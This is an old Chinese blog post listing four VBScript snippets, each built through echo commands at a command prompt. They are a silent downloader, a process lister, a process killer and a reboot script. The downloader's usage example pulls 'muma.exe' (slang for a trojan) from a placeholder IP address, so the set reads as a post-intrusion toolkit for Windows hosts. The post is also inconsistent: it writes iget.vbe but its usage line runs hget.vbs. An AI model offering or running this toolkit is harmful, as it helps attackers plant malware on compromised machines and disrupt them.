四个经典的vbs脚本整理

四个经典的vbs脚本整理
2010年05月01日
　　[b]四个经典的vbs脚本整理[/b]
　　[b]一些经典的vbs脚本
　　1.文件下载(无回显)
　　echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
　　echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
　　echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
　　echo xPost.Open "GET",iRemote,0 >>iget.vbe
　　echo xPost.Send() >>iget.vbe
　　echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
　　echo sGet.Mode = 3 >>iget.vbe
　　echo sGet.Type = 1 >>iget.vbe
　　echo sGet.Open() >>iget.vbe
　　echo sGet.Write(xPost.responseBody) >>iget.vbe
　　echo sGet.SaveToFile iLocal,2 >>iget.vbe
　　用法: cscript hget.vbs [/b][b]http://111.111.111.111/muma.exe[/b][b] muma.exe
　　2.列举进程
　　@echo for each ps in getobject _ >ps.vbs
　　@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
　　@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
　　用法:cscript ps.vbs
　　3.终止进程
　　@echo for each ps in getobject _ >pskill.vbs
　　@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
　　@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs
　　用法:cscript pskill.vbs pid
　　4.重启系统
　　@echo for each os in getobject _ >reboot.vbs
　　@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
　　@echo os.win32shutdown(2):next >>reboot.vbs
　　用法:cscript reboot.vbs
　　[/b]